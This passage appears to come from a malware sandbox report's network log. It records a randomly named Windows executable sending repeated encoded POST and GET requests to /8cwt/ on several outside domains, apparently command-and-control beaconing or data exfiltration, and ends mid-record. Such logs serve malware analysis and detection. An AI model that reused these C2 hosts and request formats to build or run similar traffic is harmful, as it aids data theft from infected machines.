Jun 4, 2024 14:19:10.756767988 CEST	289	IN	HTTP/1.1 410 Gone Server: openresty Date: Tue, 04 Jun 2024 12:19:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 62 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 73 69 73 74 2e 73 69 74 65 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4b <meta http-equiv='refresh' content='0; url=http://www.insist.site/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.30	49883	3.64.163.50	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:13.290023088 CEST	1620	OUT	POST /8cwt/ HTTP/1.1 Host: www.insist.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.insist.site Referer: http://www.insist.site/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 73 44 39 76 50 68 67 70 44 45 77 5a 69 38 39 39 36 38 49 31 31 67 68 5a 58 78 30 50 4f 6e 36 4f 51 73 51 69 6f 7a 4a 2f 61 51 44 77 63 74 79 45 38 4a 72 7a 45 63 31 31 70 6c 6f 35 68 63 53 6c 67 4e 6f 74 55 72 35 6c 50 59 67 51 77 4b 47 52 6f 57 75 4a 71 6d 67 36 30 39 56 75 6e 7a 4f 72 53 58 4f 53 48 73 2b 31 6e 53 38 52 69 69 70 6e 42 2f 72 71 4f 78 55 78 53 6b 70 68 6b 45 6f 52 75 7a 68 65 37 74 46 7a 48 53 4e 47 55 35 58 6e 47 74 4a 7a 61 6e 34 30 52 66 77 78 6c 4a 55 4f 63 62 53 4d 52 6c 48 33 63 6e 58 49 37 71 69 38 63 35 51 6f 50 50 49 31 4b 46 64 31 32 6b 2f 6e 4b 36 65 56 41 70 44 54 5a 54 68 78 6b 4d 56 37 53 76 51 5a 68 46 6a 45 6a 76 79 55 6c 47 51 48 43 32 74 45 48 37 67 65 37 41 7a 32 6d 71 4f 32 4e 4d 69 5a 67 46 37 6b 75 73 61 4d 4a 30 34 53 41 65 58 4a 38 6f 31 76 31 69 39 2b 45 34 75 51 55 48 2f 4a 65 50 70 57 4d 6f 33 56 4f 56 46 6f 4b 70 41 6f 38 4b 78 69 67 53 51 49 6d 53 44 4a 63 47 76 52 43 55 56 2f 77 51 53 78 74 76 78 63 6c 56 4f 7a 5a 38 32 66 6c 5a 49 [TRUNCATED] Data Ascii: 24eluX=sD9vPhgpDEwZi89968I11ghZXx0POn6OQsQiozJ/aQDwctyE8JrzEc11plo5hcSlgNotUr5lPYgQwKGRoWuJqmg609VunzOrSXOSHs+1nS8RiipnB/rqOxUxSkphkEoRuzhe7tFzHSNGU5XnGtJzan40RfwxlJUOcbSMRlH3cnXI7qi8c5QoPPI1KFd12k/nK6eVApDTZThxkMV7SvQZhFjEjvyUlGQHC2tEH7ge7Az2mqO2NMiZgF7kusaMJ04SAeXJ8o1v1i9+E4uQUH/JePpWMo3VOVFoKpAo8KxigSQImSDJcGvRCUV/wQSxtvxclVOzZ82flZI1cNnlfpjImFO83guVQ7t70k9NqUx/F9zEPm6bCR7LJcKf9+M4+Sd/ZXc0cbx09Ef0QHlKKvNoYcUxIh0qZ4E0eUiKTbvDwnaRywk2YJL9ogkwiSB6sYy/G7W63TlxJIT7WCl/RyTUMckpIYNnRP/uNoCZCSerpwIVVTYyeR3KmlQSYk6gZ/akrNWvil9q2O1RzwqF9DsirccKMdwZJmlPaaM/97OmPtUX8qh7Bs6Ab/9IGcMCnn2zUup1h21FdecnsIXoHvqOJN0H7xxszF+YWw7Qdn+UDJNfqpc7O7K1DEWdgdz8LDQs6RlvtgtDz0tOJ1eDytGGK0aK2XoFL3Qw/Zz0P5Q9h36sm2PJjqFdIK2OnKpTdwl2XwTuUkQNgjZAl1407x1o0Gs8xdLeUlZ3a61oXOhwAnzuH21z1UjAVYgtPSPksM5wqt1WH1XTPA9z8ql8fNlyv3GXSF7RPhPrt/vH4E7AB93GGJTK8C5reryAjfpUe3WGZetQy4uV9Z8wa4rGKScD+4ubMCvZuZyVw4UM4Mtzv+TA/czlrBODEqiXclX5BPXvA8N9TONHYki+rlnitL/mkTr7HUPeZXa8z24KNMikOmIXoWdLEQ76ZSr/9gxWx3533A95qW2Ax9J8vuW2pU06nEX7F/0RiaLLAbttaJI2p3+6z [TRUNCATED]
Jun 4, 2024 14:19:13.509655952 CEST	289	IN	HTTP/1.1 410 Gone Server: openresty Date: Tue, 04 Jun 2024 12:19:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 62 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 73 69 73 74 2e 73 69 74 65 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4b <meta http-equiv='refresh' content='0; url=http://www.insist.site/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.30	49884	3.64.163.50	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:16.037266016 CEST	426	OUT	GET /8cwt/?24eluX=hBVPMRA8AXkfi8sX3ZU3xUlYATFWOWKaW/82pjFjYWbiYeLOxLODNY5T0HEKtdu9psozILhwOJRChZ+L+nmp0Ast2pFtgkKWXgnlG+28tA4JhCFPXI/mZUw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.insist.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:19:16.255780935 CEST	289	IN	HTTP/1.1 410 Gone Server: openresty Date: Tue, 04 Jun 2024 12:19:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 62 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 73 69 73 74 2e 73 69 74 65 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4b <meta http-equiv='refresh' content='0; url=http://www.insist.site/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.30	49885	91.195.240.19	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:38.111289024 CEST	686	OUT	POST /8cwt/ HTTP/1.1 Host: www.nurenose.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.nurenose.com Referer: http://www.nurenose.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 67 59 58 78 57 66 61 39 71 4f 6f 71 63 74 47 61 39 63 2b 51 47 66 68 51 73 6f 70 4b 68 31 34 54 46 2b 4e 62 7a 46 66 72 36 67 4b 42 38 71 4e 39 67 30 36 44 48 53 53 43 76 63 42 4e 67 52 62 59 6f 2f 53 51 6d 78 74 65 59 66 50 59 70 70 6c 5a 6d 72 68 4d 6f 33 75 35 44 4e 70 30 59 4f 34 67 47 4d 36 6c 42 6f 59 59 56 35 50 2b 39 34 38 76 58 7a 4d 4b 58 41 79 50 67 38 38 30 59 56 75 49 61 47 51 37 61 35 73 30 2f 6b 4b 35 6d 38 70 39 32 56 72 58 78 51 47 58 33 61 44 39 72 2b 7a 76 74 77 47 63 78 72 51 61 65 72 42 36 4b 4b 78 67 79 6b 6f 4a 34 77 7a 45 70 6a 53 70 79 52 2b 72 52 41 3d 3d Data Ascii: 24eluX=gYXxWfa9qOoqctGa9c+QGfhQsopKh14TF+NbzFfr6gKB8qN9g06DHSSCvcBNgRbYo/SQmxteYfPYpplZmrhMo3u5DNp0YO4gGM6lBoYYV5P+948vXzMKXAyPg880YVuIaGQ7a5s0/kK5m8p92VrXxQGX3aD9r+zvtwGcxrQaerB6KKxgykoJ4wzEpjSpyR+rRA==
Jun 4, 2024 14:19:38.335360050 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.30	49886	91.195.240.19	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:40.869891882 CEST	706	OUT	POST /8cwt/ HTTP/1.1 Host: www.nurenose.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.nurenose.com Referer: http://www.nurenose.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 67 59 58 78 57 66 61 39 71 4f 6f 71 64 4d 57 61 36 37 53 51 41 2f 67 69 31 59 70 4b 76 6c 34 58 46 2b 52 62 7a 42 48 42 36 53 75 42 38 4c 39 39 68 31 36 44 53 53 53 43 37 73 41 4a 75 78 62 70 6f 2f 65 59 6d 78 42 65 59 66 4c 59 70 72 74 5a 6c 61 68 4c 36 58 75 2f 57 39 70 32 48 65 34 67 47 4d 36 6c 42 6f 4d 6d 56 35 58 2b 39 49 73 76 57 58 67 4e 62 67 79 41 32 73 38 30 4f 6c 75 4d 61 47 51 5a 61 34 41 4b 2f 6d 43 35 6d 39 5a 39 32 48 44 59 36 51 47 4e 39 36 43 4d 6d 2f 47 63 6f 79 71 76 67 6f 38 53 47 61 5a 68 50 64 41 36 76 6e 63 4c 72 51 50 70 31 69 2f 42 77 54 2f 77 4d 50 6c 54 6b 35 35 43 4c 57 71 6d 37 37 39 44 39 4d 4b 77 6e 31 6f 3d Data Ascii: 24eluX=gYXxWfa9qOoqdMWa67SQA/gi1YpKvl4XF+RbzBHB6SuB8L99h16DSSSC7sAJuxbpo/eYmxBeYfLYprtZlahL6Xu/W9p2He4gGM6lBoMmV5X+9IsvWXgNbgyA2s80OluMaGQZa4AK/mC5m9Z92HDY6QGN96CMm/Gcoyqvgo8SGaZhPdA6vncLrQPp1i/BwT/wMPlTk55CLWqm779D9MKwn1o=
Jun 4, 2024 14:19:41.097110033 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.30	49887	91.195.240.19	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:43.621416092 CEST	1623	OUT	POST /8cwt/ HTTP/1.1 Host: www.nurenose.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.nurenose.com Referer: http://www.nurenose.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 67 59 58 78 57 66 61 39 71 4f 6f 71 64 4d 57 61 36 37 53 51 41 2f 67 69 31 59 70 4b 76 6c 34 58 46 2b 52 62 7a 42 48 42 36 53 6d 42 38 35 31 39 68 53 47 44 55 69 53 43 34 73 41 45 75 78 62 4f 6f 38 75 55 6d 78 39 6b 59 63 6a 59 72 49 31 5a 78 34 4a 4c 77 58 75 2f 55 39 70 33 59 4f 34 31 47 49 6d 66 42 6f 63 6d 56 35 58 2b 39 4b 6b 76 54 7a 4d 4e 64 67 79 50 67 38 38 43 59 56 75 6f 61 47 49 6a 61 34 45 61 2f 58 69 35 6f 39 4a 39 30 30 72 59 35 77 47 54 2b 36 43 55 6d 2f 61 44 6f 79 32 4e 67 70 4a 48 47 59 35 68 50 6f 74 7a 33 47 6f 2f 30 52 54 6d 32 57 7a 67 36 41 66 46 41 38 39 48 69 4c 31 4f 50 32 69 59 30 39 35 47 76 2b 32 6f 30 31 46 34 64 32 7a 42 4f 4b 77 53 53 4b 42 32 54 71 65 6a 68 61 69 73 70 63 67 6a 33 61 57 50 4b 71 52 50 79 32 37 6b 4c 49 6a 43 67 50 61 54 41 51 59 7a 30 69 52 66 36 45 58 57 65 63 63 72 43 72 75 32 33 55 68 5a 49 53 61 2f 4d 43 73 4b 76 72 33 45 56 52 62 49 43 34 4b 62 4d 34 73 48 62 4b 43 74 6a 52 75 6b 77 33 6a 6c 58 78 69 45 4d 63 76 4c 62 33 75 [TRUNCATED] Data Ascii: 24eluX=gYXxWfa9qOoqdMWa67SQA/gi1YpKvl4XF+RbzBHB6SmB8519hSGDUiSC4sAEuxbOo8uUmx9kYcjYrI1Zx4JLwXu/U9p3YO41GImfBocmV5X+9KkvTzMNdgyPg88CYVuoaGIja4Ea/Xi5o9J900rY5wGT+6CUm/aDoy2NgpJHGY5hPotz3Go/0RTm2Wzg6AfFA89HiL1OP2iY095Gv+2o01F4d2zBOKwSSKB2Tqejhaispcgj3aWPKqRPy27kLIjCgPaTAQYz0iRf6EXWeccrCru23UhZISa/MCsKvr3EVRbIC4KbM4sHbKCtjRukw3jlXxiEMcvLb3uMPIMXbvoMxUwFjN5jw8hZ5jYLq4uqv+pLMUxkoVqNoQ3BpzbTj2tPeyRo0fHAFk3jweF1ql15+1uZ7Hjcjy30I2Oah0PNXmMekZfastzvwLvfFNdwPKRdVw1ccr9VBsMlT5MjOMqUC0IiwLy1XjpFosBeDtlJMZ2qoH3nwhks1cHN7Xm0oBV3kc8P4g8KPXDp2/q0RGbQOP7GDf7t3mj7GomujO+8Zod9QshdxU1ocwCs7bu9EfRjG1u2iCZ+5skyqa4yDEeXnF9Hz4ireeek/Kbg+BVhnMaEjCJllCHKP72oxq0uZ4CtOnFBUn+T5HSpMtkMIgD6VVje5/Fkd2wh2QsJn8um5iJj9E8yuIl9lLcXO5PAzDAY3ZTU5zs7koN2Qf8+ya50rAS4ArAPoH4YezxG+FutETSBcMJOdfY4QXfsJS5eElc2MS18eEfdgeBTFbHeKgzT8Hw2WfDptQCQ8drhBLFF0FkyfEOdES36HidzAXVgoRezFjpreBKd9nOVqmSjQ/i4FCPL+R6Cw7aKK7carix1P/y3CNH3T3E/ySHnC4g8K1DF9CM7g6BVGKcO8hEDVJt/qDEwc3b/GovYHKvv8zf2Cltb6hg5r1si4Of/X0EUFNZN8qCmlZG80RW05OKF696le86yHw6YGjgCYabJBiNLc6BOw [TRUNCATED]
Jun 4, 2024 14:19:43.849981070 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.30	49888	91.195.240.19	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:46.381886005 CEST	427	OUT	GET /8cwt/?24eluX=ta/RVvqxwt03TPXWzdfJPt4x66UfuVsjNv5QpTaL8gP24YNLrE30I2eSxM0VtxXCv+eA5B8kQfuz0YxEkZl7phijUbluJOwzHO73Kb9kDKOg+aMKAT0Adgs=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.nurenose.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:19:46.606271029 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.30	49889	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:52.043632030 CEST	674	OUT	POST /8cwt/ HTTP/1.1 Host: www.cd14j.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.cd14j.us Referer: http://www.cd14j.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 45 4b 61 75 2f 7a 67 55 4f 70 61 6b 47 32 38 6d 33 7a 68 55 68 69 33 30 57 63 69 78 2f 59 36 50 53 2b 62 44 72 38 36 56 4a 6f 46 35 48 37 55 5a 71 68 61 4b 71 77 2b 4e 46 68 32 70 71 4a 74 42 42 55 58 43 54 43 42 6a 50 30 4c 43 58 71 35 76 76 4b 59 30 64 30 66 58 62 41 67 57 73 34 35 43 2f 48 6a 55 56 63 71 34 37 47 4b 6d 47 62 64 64 73 54 67 44 62 66 77 73 5a 57 56 72 59 50 41 33 79 55 59 53 48 4a 58 77 42 32 71 59 57 2f 33 4a 32 48 6e 72 35 33 76 75 61 2b 56 52 4f 43 39 55 52 32 54 34 74 4b 31 4d 32 69 73 50 67 54 6d 4e 30 6e 39 48 38 36 58 68 6a 6f 4a 6e 61 37 54 65 4b 67 3d 3d Data Ascii: 24eluX=EKau/zgUOpakG28m3zhUhi30Wcix/Y6PS+bDr86VJoF5H7UZqhaKqw+NFh2pqJtBBUXCTCBjP0LCXq5vvKY0d0fXbAgWs45C/HjUVcq47GKmGbddsTgDbfwsZWVrYPA3yUYSHJXwB2qYW/3J2Hnr53vua+VROC9UR2T4tK1M2isPgTmN0n9H86XhjoJna7TeKg==
Jun 4, 2024 14:19:52.268194914 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.30	49890	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:54.801759958 CEST	694	OUT	POST /8cwt/ HTTP/1.1 Host: www.cd14j.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.cd14j.us Referer: http://www.cd14j.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 45 4b 61 75 2f 7a 67 55 4f 70 61 6b 48 57 73 6d 32 55 31 55 32 53 33 33 61 38 69 78 32 34 36 31 53 2b 58 44 72 39 75 46 4a 2b 31 35 4a 2f 51 5a 72 67 61 4b 70 77 2b 4e 4e 42 32 57 75 4a 74 47 42 55 62 67 54 48 68 6a 50 30 33 43 58 6f 52 76 75 35 67 31 62 30 66 4a 51 67 67 49 6a 59 35 43 2f 48 6a 55 56 66 57 65 37 47 43 6d 42 72 74 64 73 78 45 41 59 66 77 76 51 32 56 72 50 66 41 7a 79 55 5a 42 48 49 4c 57 42 77 75 59 57 37 7a 4a 32 32 6e 6f 77 33 76 53 58 65 55 47 66 58 55 41 55 43 62 37 68 61 64 77 7a 58 6f 47 6f 6b 58 58 70 6b 4a 46 76 61 72 4d 2f 70 6b 50 59 35 53 46 58 72 38 31 4e 61 4f 57 49 32 75 79 2f 2f 34 69 7a 4d 59 32 67 41 63 3d Data Ascii: 24eluX=EKau/zgUOpakHWsm2U1U2S33a8ix2461S+XDr9uFJ+15J/QZrgaKpw+NNB2WuJtGBUbgTHhjP03CXoRvu5g1b0fJQggIjY5C/HjUVfWe7GCmBrtdsxEAYfwvQ2VrPfAzyUZBHILWBwuYW7zJ22now3vSXeUGfXUAUCb7hadwzXoGokXXpkJFvarM/pkPY5SFXr81NaOWI2uy//4izMY2gAc=
Jun 4, 2024 14:19:55.026315928 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.30	49891	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:57.552762032 CEST	1611	OUT	POST /8cwt/ HTTP/1.1 Host: www.cd14j.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.cd14j.us Referer: http://www.cd14j.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 45 4b 61 75 2f 7a 67 55 4f 70 61 6b 48 57 73 6d 32 55 31 55 32 53 33 33 61 38 69 78 32 34 36 31 53 2b 58 44 72 39 75 46 4a 39 56 35 4a 4b 45 5a 71 48 75 4b 6d 51 2b 4e 53 78 32 58 75 4a 73 44 42 55 54 6b 54 48 6b 57 50 78 37 43 58 4a 78 76 6d 73 4d 31 49 55 66 4a 4e 77 67 4a 73 34 35 58 2f 44 50 51 56 63 75 65 37 47 43 6d 42 6f 6c 64 38 7a 67 41 56 2f 77 73 5a 57 56 6e 59 50 41 66 79 58 6f 30 48 49 66 67 43 41 4f 59 52 62 6a 4a 6c 55 50 6f 2f 33 76 71 45 75 55 4f 66 58 51 32 55 43 75 49 68 61 34 58 7a 51 73 47 73 79 71 62 35 33 55 53 78 5a 33 43 69 61 59 6e 54 34 71 4f 56 5a 30 52 4a 4d 4f 30 50 69 43 43 36 36 59 48 6f 70 4d 67 2b 6d 71 66 39 35 64 77 6b 42 50 59 53 53 6c 59 6f 46 48 71 6a 78 69 2f 63 75 6d 36 48 4f 64 79 55 7a 4a 55 2b 77 4d 38 5a 6a 74 47 4f 55 31 45 49 4a 4e 6f 76 4a 2b 4e 6b 39 47 72 53 66 4b 50 77 57 45 76 32 44 39 78 67 48 7a 49 79 76 73 5a 36 34 31 57 7a 65 6a 30 59 34 4a 61 39 68 41 4b 76 4c 74 4e 6f 4d 54 2f 30 68 2f 6a 46 68 47 51 44 4d 6d 74 71 57 59 [TRUNCATED] Data Ascii: 